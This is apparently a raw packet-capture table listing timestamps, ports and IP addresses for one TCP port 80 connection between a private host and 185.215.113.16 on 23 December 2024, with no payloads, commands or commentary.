Dec 23, 2024 06:53:45.188349962 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.189143896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.189224005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.190068960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.190113068 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.190180063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.190217972 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.191023111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.191118956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.192678928 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.230026960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.230149031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.230221987 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.230467081 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.230633974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.231411934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.231458902 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.231575966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.231617928 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.232326984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.232424974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.232673883 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.233284950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.233381033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.234272957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.234327078 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.234402895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.234442949 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.235186100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.235282898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.236109018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.236164093 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.236231089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.236273050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.237036943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.237143040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.237196922 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.237966061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.238070965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.238926888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.238976955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.239016056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.239063978 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.239857912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.240063906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.240693092 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.240780115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.240928888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.241683960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.241755962 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.288271904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.288351059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.288400888 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.288683891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.288804054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.288852930 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.289633989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.289741039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.290556908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.290615082 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.290644884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.290685892 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.291503906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.291614056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.292435884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.292494059 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.292532921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.292572975 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.293385983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.293495893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.293546915 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.294383049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.294523001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.295283079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.295331001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.295413971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.295454979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.296207905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.296310902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.296670914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.356653929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.356848001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.356919050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.357193947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.357337952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.358066082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.358117104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.358234882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.358273029 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.359040976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.359054089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.359098911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.359654903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.359777927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.360614061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.360668898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.360769987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.360811949 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.361543894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.361666918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.362484932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.362538099 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.362651110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.362688065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.363415003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.363565922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.364343882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.364399910 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.364440918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.364480019 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.365302086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.365412951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.365470886 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.366230011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.366331100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.367183924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.367235899 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.367299080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.367343903 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.368140936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.368280888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.368680000 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.369071007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.369194984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.369998932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.370059013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.370116949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.370156050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.370929003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.371042967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.371879101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.371939898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.372114897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.372157097 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.372802019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.372914076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.372997046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.373755932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.373862028 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.374680042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.374741077 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.374793053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.374833107 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.375622034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.375765085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.376575947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.376631021 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.376692057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.377501011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.377556086 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.377629995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.377671003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.378432035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.378551960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.379373074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.379426003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.379486084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.379524946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.380312920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.380405903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.380681992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.381258965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.381373882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.382188082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.382263899 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.382311106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.382350922 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.383137941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.383212090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.384682894 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.422034979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.422094107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.422143936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.422254086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.422389030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.423198938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.423243046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.423310041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.423358917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.424133062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.424248934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.424307108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.425069094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.425201893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.425255060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.426019907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.426156044 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.426255941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.426958084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.427062988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.427283049 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.427918911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.428047895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.428118944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.428843021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.428908110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.428981066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.429786921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.429896116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.429945946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.430711985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.430828094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.431648016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.431695938 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.431746960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.431792021 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.432602882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.432727098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.432950020 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.433537006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.433624029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.433666945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.480303049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.480340958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.480437040 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.480796099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.480897903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.480950117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.481714964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.481837034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.482656002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.482702971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.482790947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.482830048 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.483633041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.483740091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.483789921 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.484568119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.484639883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.484755039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.485481024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.485567093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.485620022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.486396074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.486535072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.486577034 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.487341881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.487472057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.487512112 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.488306046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.488415003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.488465071 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.548413992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.548538923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.548680067 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.548723936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.548845053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.549614906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.549669981 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.549690962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.549730062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.550554037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.550638914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.551489115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.551543951 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.551580906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.551621914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.552416086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.552529097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.552674055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.553374052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.553457022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.554297924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.554347992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.554382086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.554419041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.555234909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.555347919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.556180954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.556241035 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.556277990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.556318045 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.557120085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.557239056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.557312012 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.558032990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.558160067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.558975935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.559025049 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.559087038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.559123993 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.559935093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.560070992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.560674906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.560854912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.560975075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.561796904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.561856031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.561893940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.561937094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.562753916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.562861919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.563683033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.563734055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.563781023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.563822985 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.564650059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.564719915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.564770937 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.565560102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.565674067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.566481113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.566533089 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.566612959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.566652060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.567451000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.567558050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.568437099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.568489075 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.568562984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.568604946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.569333076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.569437981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.569483042 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.570255041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.570384979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.571204901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.571255922 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.571299076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.571340084 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.572140932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.572256088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.572679996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.573093891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.573168993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.574024916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.574078083 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.574139118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.574178934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.574956894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.575124025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.575879097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.575927973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.615025043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.615092039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.615158081 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.615434885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.615551949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:45.615560055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:45.616378069 CET	80	49758	185.215.113.16	192.168.2.6
